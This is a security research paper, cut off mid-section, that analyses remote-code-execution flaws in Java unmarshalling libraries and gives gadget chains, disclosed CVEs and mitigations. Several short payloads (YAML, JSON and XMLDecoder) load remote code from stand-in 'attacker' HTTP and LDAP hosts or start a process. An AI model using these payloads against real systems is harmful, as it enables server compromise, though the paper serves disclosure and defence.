Java Unmarshaller Security

Turning your data into code execution

Moritz Bechler
<mbechler@eenterphace.org>

May 22, 2017

It's been more than two years since Chris Frohoff and Garbriel Lawrence have presented their research into Java object deserialization vulnerabilities ultimately resulting in what most probably is the biggest wave of remote code execution bugs in Java history. Research into that matter indicated that these vulnerabilities are not exclusive to mechanisms as expressive as Java Serialization or XStream, but some could possibly be applied to other mechanisms as well. This paper presents an analysis, including exploitation details, of various open-source Java marshalling libraries that allow(ed) unmarshalling of arbitrary, attacker-supplied types. It shows that no matter how this process is performed and what implicit constraints are in place it is prone to similar exploitation techniques. Most of the described mechanisms, despite almost all being less expressive than Java Serialization, turned out to be even more easily exploitable – in several cases JDK standard library code is sufficient to achieve code execution during the unmarshalling process.

Disclaimer: All information herein is provided solely for educational purposes. All referenced vulnerabilities have been disclosed to their respective vendors responsibly. Although all vendors were given plenty of time, some vulnerabilities might still be unfixed at this time. The author of this paper, however, believes that it is for the greater good to make this information more widely available.

Contents

1 Introduction

With only few exceptions Java marshallers[1] provide means to convert their respective target format into an object graph.[2] This allows users to work with structured and properly typed data and certainly is the most natural way to do so in Java.

Both during marshalling and unmarshalling the marshaller needs to interact with the source/target objects to retrieve/set their properties. This interaction is most commonly based on JavaBean conventions meaning that object properties are accessed through getter (`getXyz()`, possibly `isXyz()` for boolean values) and setter methods (`setXyz()`). Other mechanisms access the actual Java fields directly. There may also be a mechanism for an object to produce a custom representation of itself and typically, for improved space efficiency and/or increased representation capabilities, there are some type conversions built-in that do not follow these rules.

The clear focus of this paper is the unmarshalling part of the process, as it is much more likely that an attacker is able to control the input to this process. In section 5 some possible exploitation scenarios for marshalling are shown.

In the majority of cases, during unmarshalling, the expected root object type is known – after all one might want to do something with the data received. This can be used to recursively determine property types by using reflection.[3] Many implementations, however, have chosen not to or ignore that expected type altogether. With Java supporting inheritance and interfaces there is also the desire to allow polymorphism which means that some kind of type information will need to be embedded in the representation so that the correct one can be restored.

Giving an attacker the opportunity to specify an arbitrary type to unmarshal into enables him to invoke a certain set of methods on an object of that type. Clearly the expectation is that these will be well-behaved – what could possibly go wrong?

Open-source Java marshalling libraries that do – or used to in some cases – allow arbitrary types by default, either directly or in collections, are:

- SnakeYAML (YAML)
- jYAML (YAML)
- YamlBeans (YAML)
- Apache Flex BlazeDS (AMF[4])
- Red5 IO AMF (AMF)
- json-io (JSON)
- Castor (XML)

[1]To spare the confusion with Java's built-in serialization mechanism, throughout this document "marshalling" refers to any mechanism to convert from an internal representation to one that can be transferred or stored.

[2]or possibly tree, if the mechanism does not allow references

[3]putting aside some type erasure related peculiarities, and that this wasn't possible at all for collections until Java 1.5 due to the lack of generics

[4]Action Message Format, originally developed by Adobe

- Java XMLDecoder (XML)
- Java Serialization (binary)
- Kryo (binary)
- Hessian/Burlap (binary/XML)
- XStream (XML/various)

Jackson is an example of an implementation that normally does honor the actual property types. However, its polymorphic unmarshalling support has a mode of operation that does allow arbitrary types.

Notable exceptions without this kind of behavior:

- JAXB implementations generally require that all types used are registered.
- Mechanisms that require schema definitions or compilation (e.g. XmlBeans, Jibx, Protobuf).
- GSON requires specifying a root type, honors property types and the mechanism for polymorphism requires registration.[5]
- GWT-RPC generally does use supplied type information, but automatically builds a whitelist.[6]

2 Tooling

Most of the gadget search has been done using a slightly enhanced version of Serianalyzer.[7] Serianalyzer, originally developed for Java deserialization analysis, is a static bytecode analyzer that traces the (potential) reachability of native methods[8] starting from a set of initial methods. Adjusting these sets to match the interactions that can be achieved during unmarshalling[9] it can be applied to other mechanisms as well.

[5]That obviously does not prevent anyone from building a vulnerable mechanism on top of it: `http://stackoverflow.com/questions/17049684/convert-from-json-to-multiple-unknown-java-object-types-using-gson`

[6]That's a bit of an unfair comparison because its compiler has the luxury of knowing the client code.

[7]`https://github.com/mbechler/serianalyzer/`

[8]Any actual system interaction has to go through a native method in Java.

[9]and possibly eliminating `Serializable` type checks, as well as the heuristics that are tuned for Java Serialization

3 Marshalling libraries

The different marshalling mechanisms described here all differ in how exactly they interact with and what checks they perform on the objects to be unmarshalled. The most fundamental distinction to be made is how they set values on objects, therefore the following distinguishes between mechanisms that use bean property access and ones that exclusively use direct field access.

3.1 Bean property based marshallers

Bean property based marshallers more or less respect the types' APIs preventing an attacker from arbitrarily modifying the objects' state and can reconstruct far less object graphs than their field based counterparts. They do, however, call setter methods which means that far more code can be triggered directly during unmarshalling.

3.1.1 SnakeYAML

SnakeYAML only allows using public constructors and public properties. It does not require corresponding getter methods.

It has a special feature which allows calling arbitrary constructors with attacker-supplied data. This makes exploiting ScriptEngine possible:[10]

```
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker/"]
  ]]
]
```

Using only property access it can be also exploited with JdbcRowset:

```
!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true
```

SnakeYAML allows to specify a root type which is actually used. Nested properties, however, are not type checked.

Mitigation

SnakeYAML comes with a `SafeConstructor`, disallowing all custom types. Alternatively whitelisting can be implemented using a custom `Constructor` implementation.

References

CVE-2016-9606
Resteasy

CVE-2017-3159
Apache Camel

CVE-2016-8744
Apache Brooklyn

Applicable Payloads

ScriptEngine (4.16)

JdbcRowset (4.2)

C3P0RefDS (4.8)

C3P0WrapDS (4.9)

SpringPropFac (4.10)

JNDIConfig (4.7)

[10]and possibly many more, this seems like an incredible attack surface

3.1.2 jYAML

jYAML uses a slightly different syntax for custom types than SnakeYAML and does not support arbitrary constructor calls. The project is abandoned. It requires a public default constructor as well as corresponding getter methods.

Applicable Payloads

JdbcRowset (4.2)

C3P0RefDS (4.8)

C3P0WrapDS (4.9)

jYAML allows using the same property based payloads as SnakeYAML (3.1.1), including JdbcRowset:

```
foo: !com.sun.rowset.JdbcRowSetImpl
  dataSourceName: ldap://attacker/obj
  autoCommit: true
```

SpringPropFac cannot be triggered because of the getter requirement. jYAML does allow too specify a root type but that is not used/checked at all.

Mitigation

There does not seem to be a mechanism for type whitelisting in jYAML.

3.1.3 YamlBeans

YamlBeans uses yet another syntax for custom types. It allows constructor calls only on configured or annotated types. It requires a default constructor, that does not have to be public, and corresponding getter methods. YamlBeans enumerates a type's properties by its fields – meaning that only setters which match the field names can be used.

Applicable Payloads

C3P0WrapDS (4.9)

JdbcRowset cannot be triggered using YamlBeans (3.1.3) because the required properties do not have fields that match. C3P0WrapDS, however, is still applicable:

```
!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: HexAsciiSerializedMap:<payload>
```

YamlBeans does allow to specify a root type but that is not used/checked at all. YamlBeans has a couple of configuration options, e.g. non-public constructors can be disallowed or direct field access can be used.

Mitigation

There does not seem to be a mechanism for type whitelisting in YamlBeans.

3.1.4 Apache Flex BlazeDS

The BlazeDS AMF unmarshallers require a public default constructor and public setters.[11]

The AMF3/AMFx unmarshallers have support for `java.io.Externalizable` types, this can be used to get Java deserialization through RMIRef. All of them have built-in, custom conversion rules for subtypes of `javax.sql.RowSet` which means that JdbcRowset cannot be unmarshalled. Other usable payloads include SpringPropFac and C3P0WrapDS, if these are present on the class path.

Does not allow specifying a root type and does not check nested property types.

Mitigation

Can be set up for type whitelisting through a `DeserializationValidator`. Upgrading to version 4.7.3 enables type whitelisting by default.

References

CVE-2017-3066
Adobe Coldfusion

CVE-2017-5641
Apache BlazeDS

CVE-2017-5641[12]
VMWare VCenter

Applicable Payloads

RMIRef (4.20)

C3P0WrapDS (4.9)

SpringPropFac (4.10)

3.1.5 Red5 IO AMF

Red5 has custom AMF unmarshallers that do differ slightly from the BlazeDS ones. They too require a public default constructor and public setters. `Externalizable` types are only supported through a custom marker interface.

It, however, does not have the custom logic for `javax.sql.RowSet` and can thus be exploited using JdbcRowset as well as through SpringPropFac and C3P0WrapDS, which are both dependencies of the Red5 server.

Mitigation

No configuration options for type whitelisting. Upgrading to 1.0.8 (Final) enables type blacklisting for the known exploitable ones.

References

CVE-2017-5878
Red5, Apache OpenMeetings

Applicable Payloads

JdbcRowset (4.2)

C3P0WrapDS (4.9)

SpringPropFac (4.10)

[11] the implementation requires getters during marshalling; however, payloads without them can be constructed using a custom `BeanProxy` implementation – which is also required to get the proper property ordering for some types

[12] found by Markus Wulftange, who independently discovered the RMIRef (4.20) vector and also published some details, including application to some other AMF implementations (`http://codewhitesec.blogspot.de/2017/04/amf.html`)

3.1.6 Jackson

Jackson, in its default configuration, does perform strict runtime type checking, including collection generic types, and does not allow the specification of arbitrary types – therefore it is unaffected by these issues by default. It does, however, have options to enable polymorphic unmarshalling[15] including ones that use the Java class name. Jackson needs a default constructor but allows for non-public ones and also allows non-public setter methods.

Type checks are still effective in these modes, so exploitation also requires a `readValue()` using a supertype or a nested field/collection with that type.[16]

There are multiple representations for the type information[17], all show the same behavior. Also, there are multiple ways to enable this kind of polymorphism, globally via `ObjectMapper->enableDefaultTyping()`, a custom `TypeResolverBuilder`, or locally using `@JsonTypeInfo` on a field.[18] Depending on the exact version of Jackson, this might be exploitable using JdbcRowset:

```
["com.sun.rowset.JdbcRowSetImpl",{
  "dataSourceName":
   "ldap://attacker/obj",
  "autoCommit" : true
}]
```

References

REPORTED Amazon AWS Simple Workflow Library

REPORTED[13] Redisson

CVE-2016-8749[14] Apache Camel

Applicable Payloads

JdbcRowset (4.2)

SpringPropFac (4.10)

SpringBFAdv (4.12)

C3P0RefDS (4.8)

C3P0WrapDS (4.9)

RMIRemoteObj (4.21)

That, however, won't work with Jackson versions lower than 2.7.0, as Jackson checks whether there are multiple conflicting setter methods defined, and `JdbcRowSetImpl` has three for the 'matchColumn' property. Jackson version 2.7.0 added some resolution logic for these scenarios. Unfortunately that resolution logic is buggy: Depending on the `Class->getMethods()` order, which is pretty random,[19] the check won't fail as it should.

Apart from that Jackson can also be reliably exploited using SpringPropFac, SpringBFAdv, C3P0RefDS, C3P0WrapDS, as well as RMIRemoteObj if that is applicable in

[13] only reported recently, also most of the payloads described here do not apply because of custom visibility settings

[14] This is a special case as it allowed specifying an arbitrary root type via a property.

[15] http://wiki.fasterxml.com/JacksonPolymorphicDeserialization

[16] This may also be the case when generics are used and type erasure applies.

[17] via wrapper objects or through an additional property, using `Id.CLASS` and `Id.MINIMAL_CLASS`

[18] `@JsonTypeInfo` on a class is usually harmless as this already implies restriction to subclasses.

[19] but cached using a `SoftReference`, so one might not get another chance, as long as the process is running

the target environment.

Mitigation

Use explicit polymorphism using `@JsonTypeInfo` with `JsonTypeInfo.Id.NAME` and explicitly specified subtypes.

3.1.7 Castor

Requires a public default constructor. There are several peculiarities with this one, for one the calling order is not totally attacker-determined – primitive properties will always be set before object-valued ones, it supports additional property accessor methods that can be triggered, namely `addXYZ(java.lang.Object)` and `createXYZ()`, and filters out some properties based on the declared type.[20]

The primitive-before-object strategy prevents the exploitation of JdbcRowset as one needs to set the string-valued 'dataSourceName' before the primitive 'autoCommit' property.[21]

References

NMS-9100 OpenNMS

Applicable Payloads

SpringBFAdv (4.12)

C3P0WrapDS (4.9)

A specified top-level type is used but nested property types are not checked.

Mitigation

No configuration options for type whitelisting. Customizing it to do it looks a bit tricky.

3.1.8 Java XMLDecoder

Just for the sake of completeness. This one is known to be extremely dangerous as it allows arbitrary method as well as constructor calls on arbitrary types:

```
<new class="java.lang.ProcessBuilder">
  <string>/usr/bin/gedit</string><method name="start" />
</new>
```

Mitigation

No ... never, ever, use this on not absolutely trusted data.

[20]That looks like a bug: a property will be ignored if the declared non-abstract type does not have a public default constructor even though a subtype might have one. While Castor allows to construct an `URLClassLoader` through `javax.management.loading.MLet`, it is not possible to inject an instance into a property as the supertypes don't have public default constructors. If this was possible, there would even be an exploitable instance in Castor itself.

[21]There would be an alternative route through `com.sun.rowset.CachedRowSetImpl->addRowSet()` leading to `com.sun.rowset.JdbcRowSetImpl->getMetaData()`, if it weren't for what looks like a standard library bug.

3.2 Field based marshallers

Field based marshallers typically offer much less of an attack surface in terms of method calls made on the objects – some even manage to unmarshal non-collection objects without calling one at all. As there are almost no objects that could be restored without setting private fields, they do directly mess with the object internals, which can have undesired side effects. In addition, many types – first and foremost collections – could not be transported/stored efficently using their runtime representation. That means that all field based marshallers bundle custom converters[22] for certain types. These converters, or their target types respectively, will often have to invoke methods on the attacker-provided objects. For example collection insertions lead to calls of `java.lang.Object->hashCode()`, `java.lang.Object->equals()`, and `java.lang.Comparable->compareTo()` for the sorted variants. Depending on the implementation, there may be others that can be triggered.

3.2.1 Java Serialization

Applicable Payloads

XBean (4.14)

BeanComp (4.17)

Many people, including the author, have done research on Java Serialization gadgets since Chris Frohoff and Garbriel Lawrence have published their RCE payloads targeting Commons Collections, Spring Beans and Groovy.[23] While similar vulnerabilities have been known before, the research of Frohoff and Lawrence, and the impact it had, showed that these were not isolated incidents but part of a general problem. There is plenty of material available, ysoserial[24] provides a repository of most of the published gadgets, therefore no details will be presented here – except when they can be applied to other mechanisms.

Mitigation

A JRE standard type filtering mechanism was introduced with Java 8u121. Various user-space filter implementations supporting whitelisting are available.

[22]In the case of Java Serialization the custom logic is provided by the types themselves.
[23]or rather since their publication finally got the attention that it deserved
[24]https://github.com/frohoff/ysoserial/

3.2.2 Kryo

Kryo, by default, requires a public default constructor and does not support proxies, preventing many of the known gadgets prevent working. Its instantiation strategy, however, is pluggable and can be replaced with `org.objenesis.strategy.StdInstantiatorStrategy`. `StdInstantiatorStrategy` is based on `ReflectionFactory`, which means that custom constructors won't be invoked, while the `java.lang.Object` constructor still will be. Both allow can be attacked through `finalize()`. Arshan Dabirsiaghi already described some nasty side effects.[25]

Using Kryo's support for sorted collections with custom comparators, BeanComp can be applied here. SpringBFAdv works as well, including the ability the restore regular `BeanFactorys` 4.13. If the alternative instantiation strategy† is used, a lot more gadgets become available.[26]

Kryo allows to provide a root type during unmarshalling which is actually used. For nested fields, however, these checks only apply to concrete types, meaning that any field specifying a non-final type can be used to trigger unmarshalling of arbitrary types.

Additional dangers

Kryo offers additional converters which can be enabled: `BeanSerializer` – implying setter calls if used – as well as `JavaSerializer` and `ExternalizableSerializer`.

Mitigation

Kryo can be set up to require registration of all types in use.[27]

Applicable Payloads

BeanComp (4.17)

SpringBFAdv (4.12)

Applicable Payloads†

BindingEnum (4.4)

ServiceLoader (4.3)

LazySearchEnum (4.5)

ImageIO (4.6)

ROME (4.18)

SpringBFAdv (4.12)

SpringCompAdv (4.11)

Groovy (4.19)

Resin (4.15)

[25] https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-1-kryo

[26] and also things like `java.util.zip.ZipFile`'s finalizer – (possibly further exploitable) memory corruption

[27] However, that's not really meant for security purposes and has some side effects, e.g. the types have to be registered in the same order on all systems involved.

3.2.3 Hessian/Burlap

Hessian and Burlap, by default, use side effect-free instantiation via `sun.misc.Unsafe`, do not restore transient fields, do not allow arbitrary proxies, and do not support custom collection comparators.

At first glance they appear to check for `java.io.Serializable`. That check, however, is only applied on marshalling and **not on unmarshalling**. If that check was effective, most exploitable object graphs passing the other restrictions could not be recovered.

As it isn't they can both be exploited through the non-serializable SpringCompAdv and Resin, as well as the serializable ROME and XBean.

Cannot restore Groovy's `MethodClosure` as `readResolve()` is called which throws an exception.

A root type can be specified during unmarshalling that is used; however, one can provide arbitrary, even nonexistent, nested properties that will be unmarshalled using arbitrary types.

Additional dangers

Provides an optional `BeanSerializerFactory`, which implies setter invocations if used. The fallback property-based `JavaDeserializer` calls various constructors[28] with null/default parameters. The remote object mechanism, if configured, can probably be used for DOS, seems to allow building mock objects[29], and might allow for the exploitation of endpoints that would not otherwise be reachable for an attacker.

Mitigation

Version 4.0.51 comes with optional support for whitelisting through `ClassFactory`.

References

REPORTED Included RPC servlets

REPORTED Caucho Resin (RPC/HTMP)

UNRESP TomEE/openejb-hessian

ASRC Alibaba Citrus Framework

REJECT[30] Spring Remoting

Applicable Payloads

SpringCompAdv (4.11)

ROME (4.18)

XBean (4.14)

Resin (4.15)

[28] possibly enabling finalizer attacks

[29] proxies of arbitrary interface types for which the attacker controls their return values, this can be useful for constructing gadgets but is not really a vulnerability by itself

[30] as with the Java Serialization based invoker before, the Spring team rejects any responsibility for these issues, instead they happily provide their users with an instant remote code execution flaw

3.2.4 json-io

Does call more or less arbitrary constructors, no support for proxies. Transient fields are not saved, but will be restored if specified manually. This one includes several other curiosities:

- "Brute-Force-Construction": If there is no default constructor, json-io tries other constructors using null/default values until one succeeds.
- "Two-Stage-Reconstruction": Collections relying on `hashCode()` are only restored after all other objects are and may occur in an unexpected order, i.e. a nested collection may not be restored when `hashCode()` is called. If a gadget is triggered by collection insertion and itself requires a collection field some trickery may be required to get these in the correct order.

Can restore both the standard library `TemplatesImpl` as well as Spring's `DefaultListableBeanFactory`, therefore direct bytecode execution is possible for some gadgets.

A root type cannot be specified.

Mitigation

No obvious way to implement type whitelisting. Maintainer unresponsive.

References

MGNLCACHE-165 Magnolia CMS

UNRESP json-command-servlet

Applicable Payloads

LazySearchEnum (4.5)

SpringBFAdv (4.12)

Groovy (4.19)

ROME (4.18)

XBean (4.14)

Resin (4.15)

RMIRef (4.20)

RMIRemoteObj (4.21)

3.2.5 XStream

There have been plenty of warnings and exploits against XStream.[31,32] XStream tries to permit as many object graphs as possible – the default converters are pretty much Java Serialization on steroids. Except for the call to the first non-serializable parent constructor,[33] it seems that everything that can be achieved by Java Serialization can be with XStream – including proxy construction. That means that most[34] of the published Java Serialization gadgets should work.[35] And the types don't even have to implement `java.io.Serializable`.

A root type can be specified during unmarshalling but is not checked.

Additional dangers

XStream does offer an optional `JavaBeanConverter`, which makes payloads for bean setter based mechanisms applicable if enabled.

It should be noted that disabling `SerializableConverter`/`ExternalizableConverter` and even `DynamicProxyConverter` does not mitigate against all of the gadgets. With ServiceLoader, ImageIO, LazySearchEnum, and BindingEnum this paper shows some new, standard library–only vectors that don't even have to use proxies.

Mitigation

XStream has extensive support for type filtering via `TypePermission`, this can be used for whitelisting. The next major version is going to enable whitelisting by default.

References

CVE-2016-5229 Atlassian Bamboo

CVE-2017-2608 Jenkins

REPORTED Netflix Eureka

Applicable Payloads

- ImageIO (4.6)
- BindingEnum (4.4)
- LazySearchEnum (4.5)
- ServiceLoader (4.3)
- BeanComp (4.17)
- ROME (4.18)
- JNDIConfig (4.7)
- SpringBFAdv (4.12)
- SpringCompAdv (4.11)

[31]targeting `java.beans.EventHandler` – published 2013 by Dinis Cruz, Abraham Kang and Alvaro Muñoz: http://blog.diniscruz.com/2013/12/xstream-remote-code-execution-exploit.html

[32]targeting Groovy – published 2016 by Arshan Dabirsiaghi: https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream

[33]which also means that finalizers won't be registered

[34]there are some slight differences introduced by additional converters

[35]Tested: Commons Beanutils, Hibernate, C3P0, ROME – all published in ysoserial by Chris Frohoff and the author: https://github.com/frohoff/ysoserial/

4 Gadgets/Payloads

For testing purposes, generators for all of the described gadget payloads are published at `https://github.com/mbechler/marshalsec/`.

4.1 Common

The are a couple of ways to ultimately gain arbitrary code execution in Java. Apart from system command execution through `Runtime->exec()`, `java.lang.ProcessBuilder` and scripting runtimes, these usually involve defining a class from attacker-supplied bytecode and at least initializing it. One such scenario would be constructing a `java.net.URLClassLoader` with an attacker-provided codebase and initializing a class from it. Triggering these mechanisms generally requires the ability to perform arbitrary method calls, so intermediaries are usually required that make the calls triggered by some interaction.

4.1.1 Xalan `TemplatesImpl`

This class was first used by Adam Gowdiak in 2013 for a sandbox escape and provides the very rare ability to directly define and initialize classes through supplied Java bytecode when certain methods are called. Oracle/OpenJDK is bundling a modified copy of Xalan, so this comes in two flavors `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`[36] and the upstream implementation `org.apache.xalan.xsltc.trax.TemplatesImpl`.[37]

There are some slight, but in this case important, differences between the two. Since Java 8u45 the JDK version dereferences the transient `_tfactory` field before reaching the code that achieves code execution. That means that in order to restore an object that is usable for our purposes, we either need the ability to set transient fields, to call an arbitrary constructor, or an unmarshaller that calls `readObject()`. The original Xalan implementation does not have that limitation.

Setters for the other required fields are private/protected, so in any case it can be used only with field based unmarshallers or or bean property based unmarshallers that allow invoking non-public setters..

To actually trigger the class initialization / code execution most commonly the method `newTransformer()` has been used. But it can be triggered through the public `getOutputProperties()` (see 5.1 for how that might be exploitable) or the private `getTransletInstance()` getter as well.

[36]which is available everywhere where no additional class path restrictions apply
[37]when there is a regular Xalan implementation on the class path

4.1.2 Code execution via JNDI references

JNDI provides access to objects stored in directories using multiple mechanisms. At least two of these mechanisms, namely RMI and LDAP, allow for native Java objects to be accessed through the directory, these are stored/transported using Java Serialization. Both mechanisms allow these objects to supply the codebase from which their classes should be loaded. However, for obvious security reasons, these mechanisms haven't been enabled by default for quite a while.

But JNDI also has a reference mechanism allowing a JNDI stored object to indicate that it should be loaded from some other directory location. These references can also specify a `javax.naming.spi.ObjectFactory` used to instantiate/retrieve them. They do allow to specify a codebase for loading the factory class and, for whatever reason, there is no restriction whatsoever on that. Attacks exploiting this mechanism have been published for RMI[38] and LDAP.[39] Java 8u121 finally added that codebase restriction, but only for RMI at this point.

Given a call to `javax.naming.InitialContext->lookup()`[40] with an attacker-supplied name argument that will result in a connection to an attacker-controlled server. The server can then return a reference[41] specifying an object factory and an attacker-controlled URL as codebase.

The default JNDI implementation will then go ahead, construct an `URLClassLoader` using the supplied codebase and load/initialize the specified object factory class through it[42] – executing the attacker-supplied code.

It should be noted that it is possible to override the object factory behavior[43] and that at least Wildfly/JBoss does so with an implementation that does not implement the remote codebase loading for object factories. It is, however, still possible to trigger Java deserialization of attacker-supplied data through this vector.

If the `javax.naming.Context` instance is also attacker-controlled and a `javax.naming.spi.ContinuationContext` can be restored, the network indirection can be completely omitted, as `ContinuationContext`'s methods through `getTargetContext()` will trigger the dereferencing of a supplied reference, 4.5 contains some details.

[38] `http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection`
[39] `https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf`
[40] potentially also others but these seem way more uncommon
[41] or rather `com.sun.jndi.rmi.registry.ReferenceWrapper` in the RMI case
[42] the relevant code can be found in `javax.naming.spi.NamingManager->getObjectInstance()`
[43] see `javax.naming.spi.NamingManager->setObjectFactoryBuilder()`

4.2 `com.sun.rowset.JdbcRowSetImpl`

Applies to

SnakeYAML (3.1.1), jYAML (3.1.2), Red5 (3.1.5), Jackson (3.1.6)[44]

From the Oracle/OpenJDK standard library. Implements `java.io.Serializable`, has a default constructor, the used properties also have getters. Two correctly ordered setter calls are required for code execution.

1. Set the 'dataSourceName' property to the JNDI URI (see 4.1.2).
2. Set the 'autoCommit' property.
3. This will result in a call to `connect()`.
4. Which calls `InitialContext->lookup()` with the provided JNDI URI.

4.3 `java.util.ServiceLoader$LazyIterator`

Applies to

Kryo (3.2.2)†, XStream (3.2.5)

From the Oracle/OpenJDK standard library.[45] Not `java.io.Serializable`, does not have a default constructor, no bean setters. Needs support for inner class instances[46] and the ability to restore an `URLClassLoader`.

1. Create a `LazyIterator` with an `URLClassLoader` instance.
2. Calling `Iterator->next()` loads the remote service definition and instantiates the specified class from the remote codebase.

Depending on the situation there may be different opportunities for triggering an `Iterator->next()` call:

- Adapt the `Iterator` into an `Iterable` using `java.util.ServiceLoader`[47] and find a class[48] that triggers iteration over that `Iterable` through a reachable call.
- Create a mock proxy returning the iterator for some collection type's iteration routines. Triggers for these are pretty common. Up to and including Java 8u71, the standard library `AnnotationInvocationHandler` can be used to construct the mock proxies mentioned, making this a standard library gadget. For later versions alternatives exist, for example, in Google Guice[49] or Hibernate Validator.[50]

[43]unreliable and only for Jackson >= 2.7.0
[45]there are even a couple of copies in the standard library, more in other libraries
[46]some of the alternatives, including `sun.misc.Service$LazyIterator` don't
[47]others may apply, too
[48]There does not seem to be a class in the standard library that does even have an `Iterable` field, but these do exist, e.g. `hudson.util.RunList`.
[49]`com.google.inject.internal.Annotations->generateAnnotationImpl()`'s anonymous class
[50]`org.hibernate.validator.util.annotationfactory.AnnotationProxy`

If the unmarshaller is capable of restoring all the components,[51] there even is a standard library–only chain that leads to direct `Iterator` dereference without the use of any proxies:

1. `hashCode()` on `jdk.nashorn.internal.objects.NativeString` triggers `NativeString->getStringValue()`.
2. `getStringValue()` calls `java.lang.CharSequence->toString()`.
3. The `toString()` of `com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data` invokes `Base64Data->get()`.
4. `Base64Data->get()` triggers a `read()` from a `java.io.InputStream` supplied by a `javax.activation.DataSource`, `com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource` is an implementation that supplies a preexisting one.
5. `read()`s on `javax.crypto.CipherInputStream` ultimately call `javax.crypto.Cipher->update()`.
6. `javax.crypto.Cipher->update()` leads to `chooseFirstProvider()` which triggers an arbitrary supplied `Iterator`.

4.4 `com.sun.jndi.rmi.registry.BindingEnumeration`

Applies to

Kryo (3.2.2)†, XStream (3.2.5)

From the Oracle/OpenJDK standard library. Not `java.io.Serializable`, does not have a default constructor, no bean setters. Restricted to JNDI/RMI lookups, therefore no longer useable for direct code execution starting with u121.

1. Use an iterator trigger as described in 4.3.
2. `ServiceLoader.LazyIterator`'s `hasNext()` and `next()` trigger `Enumeration->next()`.
3. A call to `BindingEnumeration->next()` triggers a JNDI/RMI lookup to the first name in 'names' (see 4.1.2).

[51] and also not replacing them using some adapter

4.5 `com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl`

Applies to

Kryo (3.2.2)†, json-io (3.2.4), XStream (3.2.5)

From the Oracle/OpenJDK standard library. Not `java.io.Serializable`, does not have a default constructor, no bean setters. Very similar to BindingEnum (4.4) but allows to use an arbitrary `DirContext`.

1. Use an iterator trigger, as described in 4.3.
2. `ServiceLoader.LazyIterator`'s `hasNext()` and `next()` trigger `Enumeration->next()`.
3. `LazySearchEnumerationImpl->next()` calls `findNextMatch()`.
4. `findNextMatch()` gets the next `Binding` from the nested 'candidates' enumeration. The binding's value is used as a `DirContext` on which `getAttributes()` is called.
5. `ContinuationDirContext->getAttributes()` calls `ContinuationDirContext->getTargetContext()` which in turn calls `javax.naming.spi.NamingManager->getContext()` with a supplied `Reference` object from the `javax.naming.CannotProceedException` contained in the `ContinuationContext`. That ultimately leads to loading and initializing a class from the remote codebase specified in the `Reference`.

4.6 `javax.imageio.ImageIO$ContainsFilter`

Applies to

Kryo (3.2.2)†, XStream (3.2.5)

From the Oracle/OpenJDK standard library. Not `java.io.Serializable`, does not have a default constructor, no bean setters. Requires the ability to restore a `java.lang.reflect.Method` instance.

1. Use an iterator trigger as described in 4.3.
2. `javax.imageio.spi.FilterIterator->next()` calls `FilterIterator$Filter->filter()`.
3. `javax.imageio.ImageIO$ContainsFilter->filter()` will invoke a supplied method on an object supplied through `FilterIterator`'s backing `Iterator`.

4.7 Commons Configuration `JNDIConfiguration`

Applies to

SnakeYAML (3.1.1), XStream (3.2.5)

Requires `commons-configuration` on the class path. Not `java.io.Serializable`, some do not have default constructors, no bean setters. Requires that additional fields on a set or map are restored or the ability to call arbitrary constructors with attacker-supplied data.

1. Almost every method call, including `hashCode()` on `Configuration(Map|Set)` result in a call to `Configuration->getKeys()`.
2. `JNDIConfiguration->getKeys()` through `getBaseContext()` will perform a JNDI lookup for an attacker-supplied URL.

4.8 C3P0 `JndiRefForwardingDataSource`

Applies to

SnakeYAML (3.1.1), jYAML (3.1.2), Jackson (3.1.6)

Requires `c3p0` on the class path. Is package-private, `java.io.Serializable`, has a default constructor, the used properties also have getters. Two correctly ordered setter calls are required for code execution.

1. Set the 'jndiName' property to the JNDI URI (see 4.1.2).
2. Set the 'loginTimeout' property to anything triggers `inner()`.
3. `inner()` triggers `dereference()` which performs a JNDI lookup to the supplied URI.

4.9 C3P0 `WrapperConnectionPoolDataSource`

Applies to

SnakeYAML (3.1.1), jYAML (3.1.2), YamlBeans (3.1.3), Jackson (3.1.6), BlazeDS (3.1.4), Red5 (3.1.5), Castor (3.1.7)

Requires `c3p0` on the class path. Implements `java.io.Serializable`, has a default constructor (which needs to be called), the used properties also have getters. A single setter call is sufficient for code execution.

1. Set the 'userOverridesAsString' property to trigger the `PropertyChangeEvent` listener registered in the constructor.

2. The listener calls `C3P0ImplUtils->parseUserOverridesAsString()` with the property value. Part of that is hex decoded (stripping the first 22 characters as well the last) and deserialized (Java).[52]
3. `com.mchange.v2.ser.IndirectlySerialized->getObject()` is called if the deserialized object implements that interface.
4. `com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized` is such an implementation. It will instantiate a class from a remote class path as JNDI `ObjectFactory`.[53]

4.10 Spring Beans `PropertyPathFactoryBean`

Applies to

SnakeYAML (3.1.1), BlazeDS (3.1.4), Jackson (3.1.6)

Requires `spring-beans` and `spring-context` on the class path. Both types involved have a default constructor. `SimpleJndiBeanFactory` does not implement `java.io.Serializable` and properties do not have respective getter methods. Spring AOP provides at least two more types that can replace the `PropertyPathFactoryBean`.

1. Set the 'targetBeanName' property of the `PropertyPathFactoryBean` to the JNDI URI (see 4.1.2) and 'propertyPath' to something non-null.
2. Set the 'beanFactory' property to an object of type `SimpleJndiBeanFactory` with the 'shareableResources' property set to an array containing the JNDI URI.
3. `setBeanFactory()` will check whether the target bean is a singleton, which it is as we made it a shareable resource, and call `BeanFactory->getBean()` with the bean name.
4. That will call `JndiTemplate->lookup()`, triggering `InitialContext->lookup()`.

4.11 Spring AOP `PartiallyComparableAdvisorHolder`

Applies to

Kryo (3.2.2)†, Hessian/Burlap (3.2.3), XStream (3.2.5)

Requires `spring-aop` and `aspectj` on the class path. Requires no or arbitrary constructor call as well as the ability to restore non-`java.io.Serializable`.

1. Trigger `toString()` on `PartiallyComparableAdvisorHolder`.
